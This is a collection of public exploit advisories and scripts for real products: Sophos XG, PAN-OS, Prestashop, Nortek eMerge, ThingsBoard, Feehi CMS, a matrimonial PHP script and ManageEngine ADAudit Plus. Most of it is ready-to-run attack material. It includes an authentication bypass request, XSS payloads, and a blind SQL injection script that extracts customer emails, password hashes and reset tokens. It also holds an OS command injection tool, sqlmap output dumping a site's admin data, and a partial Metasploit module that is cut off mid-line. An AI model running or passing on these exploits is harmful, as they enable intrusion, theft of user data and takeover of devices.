<pre><code># Exploit Title: Sophos XG115w Firewall 17.0.10 MR-10 - Authentication Bypass<br /># Date: 2022-08-09<br /># Exploit Author: Aryan Chehreghani<br /># Vendor Homepage: https://www.sophos.com<br /># Version: 17.0.10 MR-10<br /># Tested on: Windows 11<br /># CVE : CVE-2022-1040<br /><br /># [ VULNERABILITY DETAILS ] : <br /><br />#This vulnerability allows an attacker to gain unauthorized access to the firewall management space by bypassing authentication.<br /><br /># [ SAMPLE REQUEST ] :<br /><br />POST /webconsole/Controller HTTP/1.1<br />Host: 127.0.0.1:4444<br />Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0<br />Accept: text/plain, */*; q=0.01<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />X-Requested-With: XMLHttpRequest<br />Origin: https://127.0.0.1:4444<br />Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp<br />Sec-Fetch-Dest: empty<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Site: same-origin<br />Te: trailers<br />Connection: close<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 192<br /><br />mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066<br /><br /># [ KEY MODE ] : \u0000eb ,\u0000fc , \u0000 ,\u0000ef ,...<br /><br /># [ Successful response ] :<br /><br />HTTP/1.1 200 OK<br />Date: Thu, 04 Aug 2022 17:06:39 GMT<br />Server: xxxx<br />X-Frame-Options: SAMEORIGIN<br />Strict-Transport-Security: max-age=31536000<br />Expires: Thu, 01 Jan 1970 00:00:00 GMT<br />Content-Type: text/plain;charset=utf-8<br />Content-Length: 53<br />Set-Cookie: JSESSIONID=1jy5ygk6w0mfu1mxbv6n30ptal108;Path=/webconsole;Secure;HttpOnly<br />Connection: close<br /><br />{"redirectionURL":"/webpages/index.jsp","status":200}<br /></code></pre>
<pre><code># Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)<br /># Date: 02-08-2022<br /># Exploit Author: Shivam Singh<br /># Vendor Homepage: https://feehi.com/<br /># Software Link: https://github.com/liufee/cms<br />#Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/<br /># Version: 2.1.1 (REQUIRED)<br /># Tested on: Linux, Windows, Docker<br /># CVE : CVE-2022-34140<br /><br /><br /># Proof of Concept:<br />1-Sing-up https://localhost.cms.feehi/<br />2-Inject The XSS Payload in Username:<br />"><script>alert(document.cookie)</script> fill all required fields and<br />click the SignUp button<br />3-Login to Your Account, Go to any article page then XSS will trigger.<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Exploits ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr │ │ :<br />│ Website : uisort.com │ │ │<br />│ Vendor : Uisort Technologies Pvt. Ltd. │ │ │<br />│ Software : Matrimonial PHP Script v1.0 │ │ Matrimonial Script PHP tailored with │<br />│ Demo : stage.matrimic.in │ │ advanced features website │<br />│ Vuln Type: Remote SQL Injection │ │ & mobile apps from matrimic │<br />│ Method : GET │ │ │<br />│ Impact : Database Access │ │ │<br />│ │ │ │<br />│────────────────────────────────────────────┘ └─────────────────────────────────────────│<br />│ B4nks-NET irc.b4nks.tk #unix ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ Typically used for remotely exploitable vulnerabilities that can lead to │<br />│ system compromise. │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /> Phr33k , NK, GoldenX, Wehla, Cap, ZARAGAGA, DarkCatSpace, R0ot, KnG, Centerk<br /> loool, DevS, Dark-Gost, Carlos132sp, ProGenius, bomb, fjear, H3LLB0Y<br /> <br /> CryptoJob (Twitter) twitter.com/CryptozJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2022 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />GET parameter 'Userdetails[ud_gender]' is vulnerable<br /><br />---<br />Parameter: Userdetails[ud_gender] (GET)<br /> Type: boolean-based blind<br /> Title: AND boolean-based blind - WHERE or HAVING clause<br /> Payload: Userdetails[ud_gender]=1 AND 2636=2636<br />---<br /><br />[+] Starting the Attack<br /><br />[INFO] the back-end DBMS is MySQL<br />web application technology: Apache<br />back-end DBMS: MySQL >= 5.0.0<br /><br /><br />[INFO] fetching current database<br />[INFO] retrieved: stage_db_qa<br /><br /><br />[INFO] fetching number of tables for database 'stage_db_qa'<br />Database: stage_db_qa<br />[37 tables]<br />+--------------------+<br />| YiiCache |<br />| YiiLog |<br />| mc_admin |<br />| mc_blocklist |<br />| mc_caste |<br />| mc_city |<br />| mc_cms |<br />| mc_contact |<br />| mc_contact_history |<br />| mc_country |<br />| mc_currency |<br />| mc_deleteprofile |<br />| mc_education |<br />| mc_feedback |<br />| mc_gallery |<br />| mc_height |<br />| mc_horoscope |<br />| mc_import_jobs |<br />| mc_interest |<br />| mc_language |<br />| mc_message |<br />| mc_occupation |<br />| mc_partner |<br />| mc_plan |<br />| mc_profile_viewed |<br />| mc_religion |<br />| mc_searchlist |<br />| mc_settings |<br />| mc_shortlist |<br />| mc_sms_history |<br />| mc_state |<br />| mc_subcaste |<br />| mc_success_story |<br />| mc_toungue |<br />| mc_transaction |<br />| mc_user |<br />| mc_userdetails |<br />+--------------------+<br /><br /><br />[INFO] fetching columns for table 'mc_admin' in database 'stage_db_qa'<br /><br />Database: stage_db_qa<br />Table: mc_admin<br />[4 columns]<br />+--------------+-------------+<br />| Column | Type |<br />+--------------+-------------+<br />| admin_email | varchar(32) |<br />| admin_id | int(11) |<br />| admin_name | varchar(32) |<br />| admin_status | int(11) |<br />+--------------+-------------+<br /><br /><br />[INFO] fetching number of column(s) 'admin_email,admin_id,admin_name,admin_status' entries for table 'mc_admin' in database 'stage_db_qa'<br /><br />Database: stage_db_qa<br />Table: mc_admin<br />[1 entry]<br />+----------+-----------------------+------------+--------------+<br />| admin_id | admin_email | admin_name | admin_status |<br />+----------+-----------------------+------------+--------------+<br />| 1 | admin@mat\x81imic.com | Admin | 1 |<br />+----------+-----------------------+------------+--------------+<br /><br /><br />[INFO] fetching columns for table 'mc_user' in database 'stage_db_qa'<br /><br />Database: stage_db_qa<br />Table: mc_user<br />[20 columns]<br />+------------------------+--------------+<br />| Column | Type |<br />+------------------------+--------------+<br />| api_token | varchar(255) |<br />| code | varchar(128) |<br />| device | varchar(32) |<br />| user_activecode | varchar(32) |<br />| user_activedate | datetime |<br />| user_activestatus | int(11) |<br />| user_android_device_id | varchar(255) |<br />| user_email | varchar(32) |<br />| user_id | int(11) |<br />| user_ios_device_id | varchar(255) |<br />| user_ipaddress | varchar(32( |<br />| user_lastlogin | datetime |<br />| user_mobile | bigint(20) |<br />| user_opensource | varchar(32) |<br />| user_password | varchar(255) |<br />| user_salt | varchar(64) |<br />| user_status | int(11) |<br />| user_type | int(11) |<br />| user_userid | int(11) |<br />| user_verified_token | varchar(255) |<br />+------------------------+--------------+<br /><br /><br />[INFO] fetching number of column(s) 'user_email,user_id,user_password,user_type,user_userid' entries for table 'mc_user' in database 'stage_db_qa'<br /><br />Database: stage_db_qa<br />Table: mc_user<br />[1 entry]<br />+---------+--------------------+------------------------------------------+-----------+-------------+<br />| user_id | user_email | user_password | user_type | user_userid |<br />+---------+--------------------+------------------------------------------+-----------+-------------+<br />| 1 | admin@matrimic.com | fa4c71db18591d0323141b39ab337b59b584b3b9 | 1 | 1 |<br />+---------+--------------------+------------------------------------------+-----------+-------------+<br /> Possible Algorithms: SHA1<br /> <br /> <br />[-] Done<br /></code></pre>
<pre><code># Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)<br /># Date: 2022-08-13<br /># Exploit Author: UnD3sc0n0c1d0<br /># Software Link: https://security.paloaltonetworks.com/CVE-2020-2038<br /># Category: Web Application<br /># Version: <10.0.1, <9.1.4 and <9.0.10<br /># Tested on: PAN-OS 10.0 - Parrot OS<br /># CVE : CVE-2020-2038<br />#<br /># Description:<br /># An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated <br /># administrators to execute arbitrary OS commands with root privileges.<br /># More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/<br /># Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.<br /><br />#!/usr/bin/env python3<br /><br />import requests<br />import urllib3<br />import sys<br />import getopt<br />import xmltodict<br /><br />urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br /><br />def banner():<br /> print('\n###########################################################################')<br /> print('# Proof of Concept for CVE-2020-2038 #')<br /> print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of #')<br /> print('# Positive Technologies #')<br /> print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')<br /> print('# #')<br /> print('# Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #')<br /> print('###########################################################################')<br /><br />def exploit(target,user,password,command):<br /> apiparam = {'type': 'keygen', 'user': user, 'password': password}<br /> apiresponse = requests.get(target+'api/', params=apiparam, verify=False)<br /> xmlparse = xmltodict.parse(apiresponse.content)<br /> apikey = xmlparse['response']['result']['key']<br /> payload = '<cms-ping><host>8.8.8.8</host><count>1</count><pattern>111<![CDATA[||'+command+'||]]></pattern></cms-ping>'<br /> parameters = {'cmd': payload, 'type': 'op', 'key': apikey}<br /> response = requests.get(target+'api', params=parameters, verify=False)<br /> print(response.text[50:-20])<br /><br />def usage():<br /> print('\nusage: CVE-2020-2038.py\n\n')<br /> print('arguments:')<br /> print(' -h show this help message and exit')<br /> print(' -t target URL (ex: http://vulnerable.host/)')<br /> print(' -u target administrator user')<br /> print(' -p pasword of the defined user account')<br /> print(' -c command you want to execute on the target\n')<br /> <br />def main(argv):<br /> if len(sys.argv) < 9:<br /> banner()<br /> usage()<br /> sys.exit()<br /> try:<br /> opts, args = getopt.getopt(argv,"ht:u:p:c:")<br /> except getopt.GetoptError:<br /> banner()<br /> usage()<br /> sys.exit()<br /> for opt, arg in opts:<br /> if opt == '-h':<br /> usage()<br /> sys.exit()<br /> if opt == '-t':<br /> target = arg<br /> if opt == '-u':<br /> user = arg<br /> if opt == '-p':<br /> password = arg<br /> if opt == '-c':<br /> command = arg<br /> banner()<br /> exploit(target,user,password,command)<br /> sys.exit()<br /><br />if __name__ == "__main__":<br /> try:<br /> main(sys.argv[1:])<br /> except KeyboardInterrupt:<br /> print('Interrupted by users...')<br /> except:<br /> sys.exit()<br /> <br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/857999d2306f257b80d1b8f6a51ae8b0.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.Guptachar.20<br />Vulnerability: Insecure Credential Storage<br />Description: The malware runs a web server on TCP port 2015 (default) and uses BASIC authentication. The credentials "hacker01:imchampgr8" get stored in a .NFO information file named "GPTCR.NFO" under Windows dir base64 encoded and hidden among many junk NULL bytes.<br />Family: Guptachar<br />Type: PE32<br />MD5: 857999d2306f257b80d1b8f6a51ae8b0<br />Vuln ID: MVID-2022-0631<br />Dropped files: GPTCR2.exe <br />Disclosure: 08/08/2022<br /><br />Exploit/PoC:<br />import base64<br />base64.b64decode("aGFja2VyMDE6aW1jaGFtcGdyOA==")<br />b'hacker01:imchampgr8'<br /><br />Web URLs available on the infected host.<br /><br />http://192.168.18.125:2015/execute.html<br />http://192.168.18.125:2015/browse.html<br />http://192.168.18.125:2015/upload.html<br />http://192.168.18.125:2015/screenshot.html<br />http://192.168.18.125:2015/keylog.html<br />http://192.168.18.125:2015/display.html<br />http://192.168.18.125:2015/shutdown.html<br />http://192.168.18.125:2015/servopts.html<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi<br /># Date: 29/07/22<br /># Exploit Author: Karthik UJ (@5up3r541y4n)<br /># Vendor Homepage: https://www.prestashop.com/en<br /># Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0<br /># Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/<br /># Version (blockwishlist): 2.1.0<br /># Version (prestashop): 1.7.8.1<br /># Tested on: Linux<br /># CVE: CVE-2022-31101<br /><br /><br /># This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop<br /><br />import requests<br /><br />url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1<br />cookie = input("Enter cookie value:\n")<br /><br />header = {<br /> "Cookie": cookie<br />}<br /><br /># Define static stuff<br />param = "&order="<br />staticStart = "p.name, (select case when ("<br />staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"<br />charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'<br />charset = list(charset)<br />emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'<br />emailCharset = list(emailCharset)<br /><br /><br /># Query current database name length<br />print("\nFinding db name's length:")<br />for length in range(1, 65):<br /> condition = "LENGTH(database())=" + str(length)<br /> fullUrl = url + param + staticStart + condition + staticEnd<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> dbLength=length<br /> print("Length: ", length, end='')<br /> print("\n")<br /> break<br /><br />print("Enumerating current database name:")<br />databaseName = ''<br />for i in range(1, dbLength+1):<br /> for char in charset:<br /> condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"<br /> fullUrl = url + param + staticStart + condition + staticEnd<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> print(char, end='')<br /> databaseName += char<br /> break<br />print()<br /><br /># Enumerate any table<br />prefix = "ps_"<br />tableName = prefix + "customer"<br />staticStart = "p.name, (select case when ("<br />staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="<br />staticEnd2 = "); -- .asc"<br /><br />print("\nEnumerating " + tableName + " table")<br /><br />for id in range(1, 10):<br /><br /> condition = "id_customer=" + str(id)<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> print("\nOnly " + str(id - 1) + " records found. Exiting...")<br /> break<br /> except requests.exceptions.Timeout:<br /> pass<br /><br /> print("\nid = " + str(id))<br /><br /> # Finding firstname length<br /> for length in range(0, 100):<br /> condition = "LENGTH(firstname)=" + str(length)<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /> <br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> firstnameLength=length<br /> print("Firstname length: ", length, end='')<br /> print()<br /> break<br /> <br /> <br /> # Enumerate firstname<br /> firstname = ''<br /> print("Firstname: ", end='')<br /> for i in range(1, length+1):<br /> for char in charset:<br /> condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> print(char, end='')<br /> firstname += char<br /> break<br /> print()<br /><br /> # Finding lastname length<br /> for length in range(1, 100):<br /> condition = "LENGTH(lastname)=" + str(length)<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /> <br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> lastnameLength=length<br /> print("Lastname length: ", length, end='')<br /> print()<br /> break<br /> <br /> # Enumerate lastname<br /> lastname = ''<br /> print("Lastname: ", end='')<br /> for i in range(1, length+1):<br /> for char in charset:<br /> condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> print(char, end='')<br /> firstname += char<br /> break<br /> print()<br /><br /> # Finding email length<br /> for length in range(1, 320):<br /> condition = "LENGTH(email)=" + str(length)<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /> <br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> emailLength=length<br /> print("Email length: ", length, end='')<br /> print()<br /> break <br /><br /> # Enumerate email<br /> email = ''<br /> print("Email: ", end='')<br /> for i in range(1, length+1):<br /> for char in emailCharset:<br /> condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> if req.status_code == 500 and char == '.':<br /> print(char, end='')<br /> email += char<br /> except requests.exceptions.Timeout:<br /> print(char, end='')<br /> email += char<br /> break<br /> print()<br /><br /> # Finding password hash length<br /> for length in range(1, 500):<br /> condition = "LENGTH(passwd)=" + str(length)<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /> <br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> passwordHashLength=length<br /> print("Password hash length: ", length, end='')<br /> print()<br /> break <br /><br /> # Enumerate password hash<br /> passwordHash = ''<br /> print("Password hash: ", end='')<br /> for i in range(1, length+1):<br /> for char in emailCharset:<br /> condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> if req.status_code == 500 and char == '.':<br /> print(char, end='')<br /> passwordHash += char<br /> except requests.exceptions.Timeout:<br /> print(char, end='')<br /> passwordHash += char<br /> break<br /> print()<br /><br /> # Finding password reset token length<br /> for length in range(0, 500):<br /> condition = "LENGTH(reset_password_token)=" + str(length)<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /> <br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> except requests.exceptions.Timeout:<br /> passwordResetTokenLength=length<br /> print("Password reset token length: ", length, end='')<br /> print()<br /> break <br /><br /> # Enumerate password reset token<br /> passwordResetToken = ''<br /> print("Password reset token: ", end='')<br /> for i in range(1, length+1):<br /> for char in emailCharset:<br /> condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"<br /> fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2<br /><br /> try:<br /> req = requests.get(fullUrl, headers=header, timeout=8)<br /> if req.status_code == 500 and char == '.':<br /> print(char, end='')<br /> passwordResetToken += char<br /> except requests.exceptions.Timeout:<br /> print(char, end='')<br /> passwordResetToken += char<br /> break<br /> print()<br /> <br /></code></pre>
<pre><code># Exploit Title: Nortek Linear eMerge E3-Series - Blind OS Command Injection<br /># Exploit Author: Omar Hashim<br /># Version: 0.32-09c<br /># Vendor home page: https://www.nortekcontrol.com/access-control/<br /># Vendor home page: https://linear-solutions.com/<br /># Authentication Required: No<br /># CVE: CVE-2022-31499<br /><br /># POC:<br /> ====================<br /><br />http:/<HOST:PORT>/card_scan.php?No=1337&ReaderNo=`sleep<br />20`&CardFormatNo=1337<br /></code></pre>
<pre><code># Exploit Title: Nortek Linear eMerge E3-Series - Information<br />Disclosure lead to access admin dashboard<br /># Exploit Author: Omar Hashim<br /># Version: 0.32-07p,0.32-07e,0.32-07p,0.32-08f,0.32-09c<br /># Vendor home page : https://www.nortekcontrol.com/access-control/<br /># Vendor home page : https://linear-solutions.com/<br /># Authentication Required: No<br /># CVE : CVE-2022-31269<br /><br /># Description<br /> ====================<br />Admin credentials are stored in clear text at the endpoint /test.txt<br />(This occurs in situations where the default credentials admin:admin have been<br />changed.) Allows an unauthenticated attacker to obtain admini<br />credentials, access<br />the admin dashboard of Linear eMerge E3-Series devices, control entire building<br />doors, cameras, elevator, etc... and access information about employees who can<br />access the building and take control of the entire building<br /><br /><br />#Proof Of Concept:<br /> ====================<br /><br />http://<HOST:PORT>/test.txt<br /></code></pre>
<pre><code># Exploit Title: ThingsBoard 3.3.1 - Stored Cross-Site Scripting (XSS) within the description of a rule node<br /># Date: 03/08/2022<br /># Exploit Author: Steffen Langenfeld & Sebastian Biehler<br /># Vendor Homepage: https://thingsboard.io/<br /># Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1<br /># Version: 3.3.1<br /># Tested on: [relevant os]<br /># CVE : CVE-2021-42751<br /># Tested on: Linux<br /><br />#Proof-Of-Concept:<br />When creating a rule node (any) and putting a script payload inside the description of the rule node, it is executed upon hovering above the node within the editor.<br /><br />#Steps<br /><br />1. Create a new rule node (via the menu "Rule chains")<br />2. Put a javascript payload within the description e.g <script>alert('XSS')</script><br />3. Save the node<br />4. Upon hovering above the node within the editor the payload is executed# Exploit Title: ThingsBoard 3.3.1 - Stored Cross-Site Scripting (XSS) within the name of a rule node<br /><br /><br /><br />----------<br /><br /><br /><br /># Date: 03/08/2022<br /># Exploit Author: Steffen Langenfeld & Sebastian Biehler<br /># Vendor Homepage: https://thingsboard.io/<br /># Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1<br /># Version: 3.3.1<br /># CVE : CVE-2021-42750<br /># Tested on: Linux<br /><br />#Proof-Of-Concept:<br />When creating a rule node (any) and putting a script payload inside the name of the rule node, it is executed upon hovering above the node within the editor.<br /><br />#Steps<br /><br />1. Create a new rule node (via the menu "Rule chains")<br />2. Put a javascript payload within the name e.g <script>alert('XSS')</script><br />3. Save the node<br />4. Upon hovering above the node within the editor the payload is executed<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HttpServer<br /> include Msf::Exploit::Remote::TcpServer<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::JavaDeserialization<br /> include Msf::Handler::Reverse::Comm<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',<br /> 'Description' => %q{<br /> This module exploits CVE-2022-28219, which is a pair of<br /> vulnerabilities in ManageEngine ADAudit Plus versions before build<br /> 7060: a path traversal in the /cewolf endpoint, and a blind XXE in,<br /> to upload and execute an executable file.<br /> },<br /> 'Author' => [<br /> 'Naveen Sunkavally', # Initial PoC + disclosure<br /> 'Ron Bowes', # Analysis and module<br /> ],<br /> 'References' => [<br /> ['CVE', '2022-28219'],<br /> ['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],<br /> ['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],<br /> ['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],<br /> ],<br /> 'DisclosureDate' => '2022-06-29',<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_CMD],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Windows Command',<br /> {<br /> 'Arch' => ARCH_CMD,<br /> 'Platform' => 'win'<br /> }<br /> ],<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8081<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),<br /> OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),<br /> OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),<br /> OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),<br /> OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),<br /> ])<br /><br /> register_advanced_options([<br /> OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),<br /> OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),<br /> OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),<br /> ])<br /> end<br /><br /> def srv_host<br /> if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))<br /> return datastore['URIHOST'] || Rex::Socket.source_address(rhost)<br /> end<br /><br /> return datastore['SRVHOST']<br /> end<br /><br /> def check<br /> # Make sure it's ADAudit Plus by requesting the root and checking the title<br /> res1 = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => '/'<br /> )<br /><br /> unless res1<br /> return CheckCode::Unknown('Target failed to respond to check.')<br /> end<br /><br /> unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)<br /> return CheckCode::Safe('Does not appear to be ADAudit Plus')<br /> end<br /><br /> # Check if it's a vulnerable version (the patch removes the /cewolf endpoint<br /> # entirely)<br /> res2 = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")<br /> )<br /><br /> unless res2<br /> return CheckCode::Unknown('Target failed to respond to check.')<br /> end<br /><br /> unless res2.code == 200<br /> return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')<br /> end<br /><br /> CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')<br /> end<br /><br /> def exploit<br /> # List the /users folder - this is good to do first, since we can fail early<br /> # if something isn't working<br /> vprint_status('Attempting to exploit XXE to get a list of users')<br /> users = get_directory_listing('/users')<br /> unless users<br /> fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')<br /> end<br /><br /> # Remove common users<br /> users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']<br /> if users.empty?<br /> fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')<br /> end<br /> print_status("User accounts discovered: #{users.join(', ')}")<br /><br /> # I can't figure out how to properly encode spaces, but using the 8.3<br /> # version works! This converts them<br /> users.map do |u|<br /> if u.include?(' ')<br /> u = u.gsub(/ /, '')[0..6].upcase + '~1'<br /> end<br /> u<br /> end<br /><br /> # Check the filesystem for existing payloads that we should ignore<br /> vprint_status('Enumerating old payloads cached on the server (to skip later)')<br /> existing_payloads = search_for_payloads(users)<br /><br /> # Create a serialized payload<br /> begin<br /> # Create a queue so we can detect when the payload is delivered<br /> queue = Queue.new<br /><br /> # Upload payload to remote server<br /> # (this spawns a thread we need to clean up)<br /> print_status('Attempting to exploit XXE to store our serialized payload on the server')<br /> t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)<br /><br /> # Wait for something to arrive in the queue (basically using it as a<br /> # semaphor<br /> vprint_status('Waiting for the payload to be sent to the target')<br /> queue.pop # We don't need the result<br /><br /> # Get a list of possible payloads (never returns nil)<br /> vprint_status("Trying to find our payload in all users' temp folders")<br /> possible_payloads = search_for_payloads(users)<br /> possible_payloads -= existing_payloads<br /><br /> # Make sure the payload exists<br /> if possible_payloads.empty?<br /> fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')<br /> end<br /><br /> # If multiple payloads appeared, abort for safety<br /> if possible_payloads.length > 1<br /> fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")<br /> end<br /><br /> # Execute the one payload<br /> payload_path = possible_payloads.pop<br /> print_status("Triggering payload: #{payload_path}...")<br /><br /> res = 